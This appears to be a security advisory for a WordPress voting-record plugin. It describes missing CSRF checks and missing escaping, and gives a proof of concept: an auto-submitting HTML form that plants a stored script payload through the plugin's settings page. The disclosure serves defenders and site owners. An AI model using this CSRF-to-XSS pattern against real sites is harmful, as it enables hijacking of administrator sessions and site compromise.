Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Have an admin open an HTML page containing the following:

```
<form action="https://example.com/wp-admin/options-general.php?page=voting-record%2Fvoting-record.php" method="POST">
<input type="text" name="primary_voter" value='"><script>alert(1)</script>'>
    <input type="text" name="limit" value="">
    <input type="text" name="type" value="votes">
    <input type="text" name="extension" value="">
    <input type="text" name="open_recent" value="">
    <input type="text" name="close_recent" value="">
    <input type="text" name="recent_template" value="">
    <input type="text" name="no_recent" value="">
    <input type="text" name="open_search" value="">
    <input type="text" name="close_search" value="">
    <input type="text" name="search_template" value="">
    <input type="text" name="no_search" value="">
    <input type="text" name="update_options" value="Update">
</form>
<script>
    document.forms[0].submit();
</script>
```

You will see the pop-up showing the XSS.
